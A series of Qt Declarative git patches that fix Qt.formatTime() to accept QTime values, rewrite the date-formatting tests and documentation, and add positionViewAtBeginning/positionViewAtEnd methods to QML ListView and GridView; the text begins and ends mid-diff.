empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[]});" + << "b" << 0 << true << "get(0).b.count == 0"; +} + + +void tst_qdeclarativelistmodel::property_changes_worker() +{ + // nested models are not supported when WorkerScript is involved + if (QByteArray(QTest::currentDataTag()).startsWith("nested-")) + return; + + QFETCH(QString, script_setup); + QFETCH(QString, script_change); + QFETCH(QString, roleName); + QFETCH(int, listIndex); + QFETCH(bool, itemsChanged); + + QDeclarativeListModel model; + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); + QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8()); + QDeclarativeItem *item = createWorkerTest(&engine, &component, &model); + QVERIFY(item != 0); + + QDeclarativeExpression expr(engine.rootContext(), &model, script_setup); + expr.evaluate(); + QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString())); + + QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList))); + + QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", + Q_ARG(QVariant, QStringList(script_change)))); + waitForWorker(item); + + // test itemsChanged() is emitted correctly + if (itemsChanged) { + QCOMPARE(spyItemsChanged.count(), 1); + QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex); + QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1); + } else { + QCOMPARE(spyItemsChanged.count(), 0); + } + + delete item; + qApp->processEvents(); +} + +void tst_qdeclarativelistmodel::property_changes_worker_data() +{ + property_changes_data(); +} + QTEST_MAIN(tst_qdeclarativelistmodel) #include "tst_qdeclarativelistmodel.moc" -- cgit v0.12 From 39d2f837f5d5ac67d0cfcc3710aa23d22a84d3c1 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 11 Jan 2011 11:42:37 +1000 Subject: Fix Qt.formatTime() to accept QTime values QScriptValue::toDateTime() does not work for QTime values. Task-number: QTBUG-16492 Reviewed-by: Michael Brasser --- src/declarative/qml/qdeclarativeengine.cpp | 86 ++++++++++++----- .../declarative/qdeclarativeqt/data/formatting.qml | 53 ++++++---- .../declarative/qdeclarativeqt/qdeclarativeqt.pro | 2 +- .../qdeclarativeqt/tst_qdeclarativeqt.cpp | 107 ++++++++++++++------- 4 files changed, 173 insertions(+), 75 deletions(-) diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index b940457..52df518 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1379,7 +1379,17 @@ QScriptValue QDeclarativeEnginePrivate::vector3d(QScriptContext *ctxt, QScriptEn /*! \qmlmethod string Qt::formatDate(datetime date, variant format) -Returns the string representation of \c date, formatted according to \c format. + +Returns a string representation of \c date, optionally formatted according +to \c format. + +The \a date parameter may be a JavaScript \c Date object, a \l{date}{date} +property, a QDate, or QDateTime value. The \a format parameter may be any of +the possible format values as described for +\l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. + +If \a format is not specified, \a date is formatted using +\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}. */ #ifndef QT_NO_DATESTRING QScriptValue QDeclarativeEnginePrivate::formatDate(QScriptContext*ctxt, QScriptEngine*engine) @@ -1406,9 +1416,16 @@ QScriptValue QDeclarativeEnginePrivate::formatDate(QScriptContext*ctxt, QScriptE /*! \qmlmethod string Qt::formatTime(datetime time, variant format) -Returns the string representation of \c time, formatted according to \c format. -See Qt::formatDateTime for how to define \c format. +Returns a string representation of \c time, optionally formatted according to +\c format. + +The \a time parameter may be a JavaScript \c Date object, a QTime, or QDateTime +value. The \a format parameter may be any of the possible format values as +described for \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}. + +If \a format is not specified, \a time is formatted using +\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}. */ QScriptValue QDeclarativeEnginePrivate::formatTime(QScriptContext*ctxt, QScriptEngine*engine) { @@ -1416,29 +1433,49 @@ QScriptValue QDeclarativeEnginePrivate::formatTime(QScriptContext*ctxt, QScriptE if(argCount == 0 || argCount > 2) return ctxt->throwError(QLatin1String("Qt.formatTime(): Invalid arguments")); - QTime date = ctxt->argument(0).toDateTime().time(); + QTime time; + QScriptValue sv = ctxt->argument(0); + if (sv.isDate()) + time = sv.toDateTime().time(); + else if (sv.toVariant().type() == QVariant::Time) + time = sv.toVariant().toTime(); + Qt::DateFormat enumFormat = Qt::DefaultLocaleShortDate; if (argCount == 2) { QScriptValue formatArg = ctxt->argument(1); if (formatArg.isString()) { QString format = formatArg.toString(); - return engine->newVariant(qVariantFromValue(date.toString(format))); + return engine->newVariant(qVariantFromValue(time.toString(format))); } else if (formatArg.isNumber()) { enumFormat = Qt::DateFormat(formatArg.toUInt32()); } else { return ctxt->throwError(QLatin1String("Qt.formatTime(): Invalid time format")); } } - return engine->newVariant(qVariantFromValue(date.toString(enumFormat))); + return engine->newVariant(qVariantFromValue(time.toString(enumFormat))); } /*! \qmlmethod string Qt::formatDateTime(datetime dateTime, variant format) -Returns the string representation of \c dateTime, formatted according to \c format. -\c format for the date/time formatting functions is be specified as follows. +Returns a string representation of \c datetime, optionally formatted according to +\c format. + +The \a date parameter may be a JavaScript \c Date object, a \l{date}{date} +property, a QDate, QTime, or QDateTime value. - These expressions may be used for the date: +If \a format is not provided, \a dateTime is formatted using +\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}. Otherwise, +\a format should be either. + +\list +\o One of the Qt::DateFormat enumeration values, such as + \c Qt.DefaultLocaleShortDate or \c Qt.ISODate +\o A string that specifies the format of the returned string, as detailed below. +\endlist + +If \a format specifies a format string, it should use the following expressions +to specify the date: \table \header \i Expression \i Output @@ -1462,7 +1499,7 @@ Returns the string representation of \c dateTime, formatted according to \c form \row \i yyyy \i the year as four digit number \endtable - These expressions may be used for the time: +In addition the following expressions can be used to specify the time: \table \header \i Expression \i Output @@ -1483,23 +1520,28 @@ Returns the string representation of \c dateTime, formatted according to \c form \endtable All other input characters will be ignored. Any sequence of characters that - are enclosed in singlequotes will be treated as text and not be used as an - expression. Two consecutive singlequotes ("''") are replaced by a singlequote + are enclosed in single quotes will be treated as text and not be used as an + expression. Two consecutive single quotes ("''") are replaced by a single quote in the output. - Example format strings (assumed that the date and time is 21 May 2001 - 14:13:09): +For example, if the following date/time value was specified: + + \code + // 21 May 2001 14:13:09 + var dateTime = new Date(2001, 5, 21, 14, 13, 09) + \endcode + +This \a dateTime value could be passed to \c Qt.formatDateTime(), +\l {QML:Qt::formatDate()}{Qt.formatDate()} or \l {QML:Qt::formatTime()}{Qt.formatTime()} +with the \a format values below to produce the following results: \table - \header \i Format \i Result - \row \i dd.MM.yyyy \i 21.05.2001 - \row \i ddd MMMM d yy \i Tue May 21 01 - \row \i hh:mm:ss.zzz \i 14:13:09.042 - \row \i h:m:s ap \i 2:13:9 pm + \header \i Format \i Result + \row \i "dd.MM.yyyy" \i 21.05.2001 + \row \i "ddd MMMM d yy" \i Tue May 21 01 + \row \i "hh:mm:ss.zzz" \i 14:13:09.042 + \row \i "h:m:s ap" \i 2:13:9 pm \endtable - -If no format is specified the locale's short format is used. Alternatively, you can specify -\c Qt.DefaultLocaleLongDate to get the locale's long format. */ QScriptValue QDeclarativeEnginePrivate::formatDateTime(QScriptContext*ctxt, QScriptEngine*engine) { diff --git a/tests/auto/declarative/qdeclarativeqt/data/formatting.qml b/tests/auto/declarative/qdeclarativeqt/data/formatting.qml index 35c6a29..f520aeb 100644 --- a/tests/auto/declarative/qdeclarativeqt/data/formatting.qml +++ b/tests/auto/declarative/qdeclarativeqt/data/formatting.qml @@ -1,29 +1,44 @@ import QtQuick 1.0 QtObject { - property date date1: "2008-12-24" - property string test1: Qt.formatDate(date1) - property string test2: Qt.formatDate(date1, Qt.DefaultLocaleLongDate) - property string test3: Qt.formatDate(date1, "ddd MMMM d yy") + property date dateFromString: "2008-12-24" + property variant jsdate: new Date(2008,11,24,14,15,38,200) // months are 0-based - property variant time1: new Date(0,0,0,14,15,38,200) - property string test4: Qt.formatTime(time1) - property string test5: Qt.formatTime(time1, Qt.DefaultLocaleLongDate) - property string test6: Qt.formatTime(time1, "H:m:s a") - property string test7: Qt.formatTime(time1, "hh:mm:ss.zzz") + function formatDate(prop) { + var v = eval(prop) + return [ + Qt.formatDate(v), + Qt.formatDate(v, Qt.DefaultLocaleLongDate), + Qt.formatDate(v, "ddd MMMM d yy") + ] + } - property variant dateTime1: new Date(1978,2,4,9,13,54) - property string test8: Qt.formatDateTime(dateTime1) - property string test9: Qt.formatDateTime(dateTime1, Qt.DefaultLocaleLongDate) - property string test10: Qt.formatDateTime(dateTime1, "M/d/yy H:m:s a") + function formatTime(prop) { + var v = eval(prop) + return [ + Qt.formatTime(v), + Qt.formatTime(v, Qt.DefaultLocaleLongDate), + Qt.formatTime(v, "H:m:s a"), + Qt.formatTime(v, "hh:mm:ss.zzz") + ] + } + + function formatDateTime(prop) { + var v = eval(prop) + return [ + Qt.formatDateTime(v), + Qt.formatDateTime(v, Qt.DefaultLocaleLongDate), + Qt.formatDateTime(v, "M/d/yy H:m:s a") + ] + } // Error cases - property string test11: Qt.formatDate() - property string test12: Qt.formatDate(new Date, new Object) + property string err_date1: Qt.formatDate() + property string err_date2: Qt.formatDate(new Date, new Object) - property string test13: Qt.formatTime() - property string test14: Qt.formatTime(new Date, new Object) + property string err_time1: Qt.formatTime() + property string err_time2: Qt.formatTime(new Date, new Object) - property string test15: Qt.formatDateTime() - property string test16: Qt.formatDateTime(new Date, new Object) + property string err_dateTime1: Qt.formatDateTime() + property string err_dateTime2: Qt.formatDateTime(new Date, new Object) } diff --git a/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro b/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro index 6af6500..9e698fe 100644 --- a/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro +++ b/tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro @@ -1,5 +1,5 @@ load(qttest_p4) -contains(QT_CONFIG,declarative): QT += declarative +contains(QT_CONFIG,declarative): QT += declarative script SOURCES += tst_qdeclarativeqt.cpp macx:CONFIG -= app_bundle diff --git a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp index 9f45d74..c8c1a22 100644 --- a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp +++ b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp @@ -38,6 +38,7 @@ ** $QT_END_LICENSE$ ** ****************************************************************************/ +#include #include #include @@ -81,7 +82,8 @@ private slots: void createComponent_pragmaLibrary(); void createQmlObject(); void consoleLog(); - void formatting(); + void dateTimeFormatting(); + void dateTimeFormatting_data(); void isQtObject(); void btoa(); void atob(); @@ -446,49 +448,88 @@ void tst_qdeclarativeqt::consoleLog() delete object; } -void tst_qdeclarativeqt::formatting() +void tst_qdeclarativeqt::dateTimeFormatting() { - QDeclarativeComponent component(&engine, TEST_FILE("formatting.qml")); + QFETCH(QString, method); + QFETCH(QStringList, inputProperties); + QFETCH(QStringList, expectedResults); - QString warning1 = component.url().toString() + ":22: Error: Qt.formatDate(): Invalid date format"; - QString warning2 = component.url().toString() + ":21: Error: Qt.formatDate(): Invalid arguments"; - QString warning3 = component.url().toString() + ":28: Error: Qt.formatDateTime(): Invalid datetime format"; - QString warning4 = component.url().toString() + ":27: Error: Qt.formatDateTime(): Invalid arguments"; - QString warning5 = component.url().toString() + ":25: Error: Qt.formatTime(): Invalid time format"; - QString warning6 = component.url().toString() + ":24: Error: Qt.formatTime(): Invalid arguments"; + QDate date(2008,12,24); + QTime time(14,15,38,200); + QDateTime dateTime(date, time); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1)); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2)); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning3)); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning4)); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning5)); - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning6)); + QDeclarativeEngine eng; + + eng.rootContext()->setContextProperty("qdate", date); + eng.rootContext()->setContextProperty("qtime", time); + eng.rootContext()->setContextProperty("qdatetime", dateTime); + + QDeclarativeComponent component(&eng, TEST_FILE("formatting.qml")); + + QStringList warnings; + warnings << component.url().toString() + ":37: Error: Qt.formatDate(): Invalid date format" + << component.url().toString() + ":36: Error: Qt.formatDate(): Invalid arguments" + << component.url().toString() + ":40: Error: Qt.formatTime(): Invalid time format" + << component.url().toString() + ":39: Error: Qt.formatTime(): Invalid arguments" + << component.url().toString() + ":43: Error: Qt.formatDateTime(): Invalid datetime format" + << component.url().toString() + ":42: Error: Qt.formatDateTime(): Invalid arguments"; + + foreach (const QString &warning, warnings) + QTest::ignoreMessage(QtWarningMsg, qPrintable(warning)); QObject *object = component.create(); + QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString())); QVERIFY(object != 0); - QDate date1(2008,12,24); - QCOMPARE(object->property("date1").toDate(), date1); - QCOMPARE(object->property("test1").toString(), date1.toString(Qt::DefaultLocaleShortDate)); - QCOMPARE(object->property("test2").toString(), date1.toString(Qt::DefaultLocaleLongDate)); - QCOMPARE(object->property("test3").toString(), date1.toString("ddd MMMM d yy")); - - QTime time1(14,15,38,200); - QCOMPARE(object->property("time1").toTime(), time1); - QCOMPARE(object->property("test4").toString(), time1.toString(Qt::DefaultLocaleShortDate)); - QCOMPARE(object->property("test5").toString(), time1.toString(Qt::DefaultLocaleLongDate)); - QCOMPARE(object->property("test6").toString(), time1.toString("H:m:s a")); - QCOMPARE(object->property("test7").toString(), time1.toString("hh:mm:ss.zzz")); - - QDateTime dateTime1(QDate(1978,03,04),QTime(9,13,54)); - QCOMPARE(object->property("dateTime1").toDateTime(),dateTime1); - QCOMPARE(object->property("test8").toString(), dateTime1.toString(Qt::DefaultLocaleShortDate)); - QCOMPARE(object->property("test9").toString(), dateTime1.toString(Qt::DefaultLocaleLongDate)); - QCOMPARE(object->property("test10").toString(), dateTime1.toString("M/d/yy H:m:s a")); + QVERIFY(inputProperties.count() > 0); + + QVariant result; + foreach(const QString &prop, inputProperties) { + QVERIFY(QMetaObject::invokeMethod(object, method.toUtf8().constData(), + Q_RETURN_ARG(QVariant, result), + Q_ARG(QVariant, prop))); + + QStringList output = result.toStringList(); + for (int i=0; i("method"); + QTest::addColumn("inputProperties"); + QTest::addColumn("expectedResults"); + + QDate date(2008,12,24); + QTime time(14,15,38,200); + QDateTime dateTime(date, time); + + QTest::newRow("formatDate") + << "formatDate" + << (QStringList() << "dateFromString" << "jsdate" << "qdate" << "qdatetime") + << (QStringList() << date.toString(Qt::DefaultLocaleShortDate) + << date.toString(Qt::DefaultLocaleLongDate) + << date.toString("ddd MMMM d yy")); + + QTest::newRow("formatTime") + << "formatTime" + << (QStringList() << "jsdate" << "qtime" << "qdatetime") + << (QStringList() << time.toString(Qt::DefaultLocaleShortDate) + << time.toString(Qt::DefaultLocaleLongDate) + << time.toString("H:m:s a") + << time.toString("hh:mm:ss.zzz")); + + QTest::newRow("formatDateTime") + << "formatDateTime" + << (QStringList() << "jsdate" << "qdatetime") + << (QStringList() << dateTime.toString(Qt::DefaultLocaleShortDate) + << dateTime.toString(Qt::DefaultLocaleLongDate) + << dateTime.toString("M/d/yy H:m:s a")); +} + void tst_qdeclarativeqt::isQtObject() { QDeclarativeComponent component(&engine, TEST_FILE("isQtObject.qml")); -- cgit v0.12 From 11347a267125ecd0eaa5b022547297082954eb86 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 11 Jan 2011 13:09:01 +1000 Subject: Add methods to position view at beginning or end. Takes into account header/footer. Task-number: QTBUG-16213 Reviewed-by: Michael Brasser --- .../graphicsitems/qdeclarativegridview.cpp | 156 ++++++++++++------- .../graphicsitems/qdeclarativegridview_p.h | 2 + .../graphicsitems/qdeclarativeitemsmodule.cpp | 2 + .../graphicsitems/qdeclarativelistview.cpp | 166 ++++++++++++++------- .../graphicsitems/qdeclarativelistview_p.h | 2 + .../qdeclarativegridview/data/gridview1.qml | 8 + .../tst_qdeclarativegridview.cpp | 59 ++++++++ .../qdeclarativelistview/data/listviewtest.qml | 9 ++ .../tst_qdeclarativelistview.cpp | 59 ++++++++ 9 files changed, 355 insertions(+), 108 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index c2c28c2..6e6e8c1 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -336,6 +336,7 @@ public: } } + void positionViewAtIndex(int index, int mode); virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent); virtual void flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize, QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity); @@ -2124,6 +2125,77 @@ void QDeclarativeGridView::moveCurrentIndexRight() } } +void QDeclarativeGridViewPrivate::positionViewAtIndex(int index, int mode) +{ + Q_Q(QDeclarativeGridView); + if (!isValid()) + return; + if (mode < QDeclarativeGridView::Beginning || mode > QDeclarativeGridView::Contain) + return; + + int idx = qMax(qMin(index, model->count()-1), 0); + + if (layoutScheduled) + layout(); + qreal pos = position(); + FxGridItem *item = visibleItem(idx); + if (!item) { + int itemPos = rowPosAt(idx); + // save the currently visible items in case any of them end up visible again + QList oldVisible = visibleItems; + visibleItems.clear(); + visibleIndex = idx - idx % columns; + setPosition(itemPos); + // now release the reference to all the old visible items. + for (int i = 0; i < oldVisible.count(); ++i) + releaseItem(oldVisible.at(i)); + item = visibleItem(idx); + } + if (item) { + qreal itemPos = item->rowPos(); + switch (mode) { + case QDeclarativeGridView::Beginning: + pos = itemPos; + if (index < 0 && header) { + pos -= flow == QDeclarativeGridView::LeftToRight + ? header->item->height() + : header->item->width(); + } + break; + case QDeclarativeGridView::Center: + pos = itemPos - (size() - rowSize())/2; + break; + case QDeclarativeGridView::End: + pos = itemPos - size() + rowSize(); + if (index >= model->count() && footer) { + pos += flow == QDeclarativeGridView::LeftToRight + ? footer->item->height() + : footer->item->width(); + } + break; + case QDeclarativeGridView::Visible: + if (itemPos > pos + size()) + pos = itemPos - size() + rowSize(); + else if (item->endRowPos() < pos) + pos = itemPos; + break; + case QDeclarativeGridView::Contain: + if (item->endRowPos() > pos + size()) + pos = itemPos - size() + rowSize(); + if (itemPos < pos) + pos = itemPos; + } + qreal maxExtent = flow == QDeclarativeGridView::LeftToRight ? -q->maxYExtent() : -q->maxXExtent(); + pos = qMin(pos, maxExtent); + qreal minExtent = flow == QDeclarativeGridView::LeftToRight ? -q->minYExtent() : -q->minXExtent(); + pos = qMax(pos, minExtent); + moveReason = QDeclarativeGridViewPrivate::Other; + q->cancelFlick(); + setPosition(pos); + } + fixupPosition(); +} + /*! \qmlmethod GridView::positionViewAtIndex(int index, PositionMode mode) @@ -2161,58 +2233,42 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode) Q_D(QDeclarativeGridView); if (!d->isValid() || index < 0 || index >= d->model->count()) return; - if (mode < Beginning || mode > Contain) + d->positionViewAtIndex(index, mode); +} + +/*! + \qmlmethod GridView::positionViewAtBeginning() + \qmlmethod GridView::positionViewAtEnd() + + Positions the view at the beginning or end, taking into account any header or footer. + + It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view + at a particular index. This is unreliable since removing items from the start + of the list does not cause all other items to be repositioned, and because + the actual start of the view can vary based on the size of the delegates. + + \bold Note: methods should only be called after the Component has completed. To position + the view at startup, this method should be called by Component.onCompleted. For + example, to position the view at the end on startup: + + \code + Component.onCompleted: positionViewAtEnd() + \endcode +*/ +void QDeclarativeGridView::positionViewAtBeginning() +{ + Q_D(QDeclarativeGridView); + if (!d->isValid()) return; + d->positionViewAtIndex(-1, Beginning); +} - if (d->layoutScheduled) - d->layout(); - qreal pos = d->position(); - FxGridItem *item = d->visibleItem(index); - if (!item) { - int itemPos = d->rowPosAt(index); - // save the currently visible items in case any of them end up visible again - QList oldVisible = d->visibleItems; - d->visibleItems.clear(); - d->visibleIndex = index - index % d->columns; - d->setPosition(itemPos); - // now release the reference to all the old visible items. - for (int i = 0; i < oldVisible.count(); ++i) - d->releaseItem(oldVisible.at(i)); - item = d->visibleItem(index); - } - if (item) { - qreal itemPos = item->rowPos(); - switch (mode) { - case Beginning: - pos = itemPos; - break; - case Center: - pos = itemPos - (d->size() - d->rowSize())/2; - break; - case End: - pos = itemPos - d->size() + d->rowSize(); - break; - case Visible: - if (itemPos > pos + d->size()) - pos = itemPos - d->size() + d->rowSize(); - else if (item->endRowPos() < pos) - pos = itemPos; - break; - case Contain: - if (item->endRowPos() > pos + d->size()) - pos = itemPos - d->size() + d->rowSize(); - if (itemPos < pos) - pos = itemPos; - } - qreal maxExtent = d->flow == QDeclarativeGridView::LeftToRight ? -maxYExtent() : -maxXExtent(); - pos = qMin(pos, maxExtent); - qreal minExtent = d->flow == QDeclarativeGridView::LeftToRight ? -minYExtent() : -minXExtent(); - pos = qMax(pos, minExtent); - d->moveReason = QDeclarativeGridViewPrivate::Other; - cancelFlick(); - d->setPosition(pos); - } - d->fixupPosition(); +void QDeclarativeGridView::positionViewAtEnd() +{ + Q_D(QDeclarativeGridView); + if (!d->isValid()) + return; + d->positionViewAtIndex(d->model->count(), End); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativegridview_p.h b/src/declarative/graphicsitems/qdeclarativegridview_p.h index ee632b1..e41537c 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview_p.h +++ b/src/declarative/graphicsitems/qdeclarativegridview_p.h @@ -159,6 +159,8 @@ public: Q_INVOKABLE void positionViewAtIndex(int index, int mode); Q_INVOKABLE int indexAt(int x, int y) const; + Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning(); + Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd(); static QDeclarativeGridViewAttached *qmlAttachedProperties(QObject *); diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index ddbde0b..529686e 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -180,6 +180,8 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,1,"Pinch"); qmlRegisterType(); qmlRegisterType("QtQuick",1,1,"Flickable"); + qmlRegisterType("QtQuick",1,1,"ListView"); + qmlRegisterType("QtQuick",1,1,"GridView"); qmlRegisterType("QtQuick",1,1,"Repeater"); qmlRegisterType("QtQuick",1,1,"TextEdit"); #ifndef QT_NO_LINEEDIT diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 702442b..470f947 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -451,6 +451,7 @@ public: void updateHeader(); void updateFooter(); void fixupPosition(); + void positionViewAtIndex(int index, int mode); virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent); virtual void flick(QDeclarativeFlickablePrivate::AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize, QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity); @@ -2558,6 +2559,79 @@ void QDeclarativeListView::decrementCurrentIndex() } } +void QDeclarativeListViewPrivate::positionViewAtIndex(int index, int mode) +{ + Q_Q(QDeclarativeListView); + if (!isValid()) + return; + if (mode < QDeclarativeListView::Beginning || mode > QDeclarativeListView::Contain) + return; +qDebug() << "positionViewAtIndex"; + int idx = qMax(qMin(index, model->count()-1), 0); + + if (layoutScheduled) + layout(); + qreal pos = position(); + FxListItem *item = visibleItem(idx); + if (!item) { + int itemPos = positionAt(idx); + // save the currently visible items in case any of them end up visible again + QList oldVisible = visibleItems; + visibleItems.clear(); + visiblePos = itemPos; + visibleIndex = idx; + setPosition(itemPos); + // now release the reference to all the old visible items. + for (int i = 0; i < oldVisible.count(); ++i) + releaseItem(oldVisible.at(i)); + item = visibleItem(idx); + } + if (item) { + const qreal itemPos = item->position(); + switch (mode) { + case QDeclarativeListView::Beginning: + pos = itemPos; + if (index < 0 && header) + pos -= header->size(); + break; + case QDeclarativeListView::Center: + pos = itemPos - (size() - item->size())/2; + break; + case QDeclarativeListView::End: + pos = itemPos - size() + item->size(); + if (index >= model->count() && footer) + pos += footer->size(); + break; + case QDeclarativeListView::Visible: + if (itemPos > pos + size()) + pos = itemPos - size() + item->size(); + else if (item->endPosition() < pos) + pos = itemPos; + break; + case QDeclarativeListView::Contain: + if (item->endPosition() > pos + size()) + pos = itemPos - size() + item->size(); + if (itemPos < pos) + pos = itemPos; + } + qreal maxExtent = orient == QDeclarativeListView::Vertical ? -q->maxYExtent() : -q->maxXExtent(); + pos = qMin(pos, maxExtent); + qreal minExtent = orient == QDeclarativeListView::Vertical ? -q->minYExtent() : -q->minXExtent(); + pos = qMax(pos, minExtent); + moveReason = QDeclarativeListViewPrivate::Other; + q->cancelFlick(); + setPosition(pos); + if (highlight) { + if (autoHighlight) { + highlight->setPosition(currentItem->itemPosition()); + highlight->setSize(currentItem->itemSize()); + } + updateHighlight(); + } + } + fixupPosition(); +} + /*! \qmlmethod ListView::positionViewAtIndex(int index, PositionMode mode) @@ -2596,66 +2670,42 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode) Q_D(QDeclarativeListView); if (!d->isValid() || index < 0 || index >= d->model->count()) return; - if (mode < Beginning || mode > Contain) + d->positionViewAtIndex(index, mode); +} + +/*! + \qmlmethod ListView::positionViewAtBeginning() + \qmlmethod ListView::positionViewAtEnd() + + Positions the view at the beginning or end, taking into account any header or footer. + + It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view + at a particular index. This is unreliable since removing items from the start + of the list does not cause all other items to be repositioned, and because + the actual start of the view can vary based on the size of the delegates. + + \bold Note: methods should only be called after the Component has completed. To position + the view at startup, this method should be called by Component.onCompleted. For + example, to position the view at the end on startup: + + \code + Component.onCompleted: positionViewAtEnd() + \endcode +*/ +void QDeclarativeListView::positionViewAtBeginning() +{ + Q_D(QDeclarativeListView); + if (!d->isValid()) return; + d->positionViewAtIndex(-1, Beginning); +} - if (d->layoutScheduled) - d->layout(); - qreal pos = d->position(); - FxListItem *item = d->visibleItem(index); - if (!item) { - int itemPos = d->positionAt(index); - // save the currently visible items in case any of them end up visible again - QList oldVisible = d->visibleItems; - d->visibleItems.clear(); - d->visiblePos = itemPos; - d->visibleIndex = index; - d->setPosition(itemPos); - // now release the reference to all the old visible items. - for (int i = 0; i < oldVisible.count(); ++i) - d->releaseItem(oldVisible.at(i)); - item = d->visibleItem(index); - } - if (item) { - const qreal itemPos = item->position(); - switch (mode) { - case Beginning: - pos = itemPos; - break; - case Center: - pos = itemPos - (d->size() - item->size())/2; - break; - case End: - pos = itemPos - d->size() + item->size(); - break; - case Visible: - if (itemPos > pos + d->size()) - pos = itemPos - d->size() + item->size(); - else if (item->endPosition() < pos) - pos = itemPos; - break; - case Contain: - if (item->endPosition() > pos + d->size()) - pos = itemPos - d->size() + item->size(); - if (itemPos < pos) - pos = itemPos; - } - qreal maxExtent = d->orient == QDeclarativeListView::Vertical ? -maxYExtent() : -maxXExtent(); - pos = qMin(pos, maxExtent); - qreal minExtent = d->orient == QDeclarativeListView::Vertical ? -minYExtent() : -minXExtent(); - pos = qMax(pos, minExtent); - d->moveReason = QDeclarativeListViewPrivate::Other; - cancelFlick(); - d->setPosition(pos); - if (d->highlight) { - if (d->autoHighlight) { - d->highlight->setPosition(d->currentItem->itemPosition()); - d->highlight->setSize(d->currentItem->itemSize()); - } - d->updateHighlight(); - } - } - d->fixupPosition(); +void QDeclarativeListView::positionViewAtEnd() +{ + Q_D(QDeclarativeListView); + if (!d->isValid()) + return; + d->positionViewAtIndex(d->model->count(), End); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativelistview_p.h b/src/declarative/graphicsitems/qdeclarativelistview_p.h index 2678b90..2f7f6da 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview_p.h +++ b/src/declarative/graphicsitems/qdeclarativelistview_p.h @@ -209,6 +209,8 @@ public: Q_INVOKABLE void positionViewAtIndex(int index, int mode); Q_INVOKABLE int indexAt(int x, int y) const; + Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning(); + Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd(); public Q_SLOTS: void incrementCurrentIndex(); diff --git a/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml b/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml index 77c94ba..e4e699c 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml @@ -2,6 +2,8 @@ import QtQuick 1.0 Rectangle { id: root + property bool showHeader: false + property bool showFooter: false property int added: -1 property variant removed @@ -40,6 +42,10 @@ Rectangle { GridView.onAdd: root.added = index GridView.onRemove: root.removed = name } + }, + Component { + id: headerFooter + Rectangle { width: 30; height: 320; color: "blue" } } ] GridView { @@ -52,5 +58,7 @@ Rectangle { flow: (testTopToBottom == false) ? "LeftToRight" : "TopToBottom" model: testModel delegate: myDelegate + header: root.showHeader ? headerFooter : null + footer: root.showFooter ? headerFooter : null } } diff --git a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp 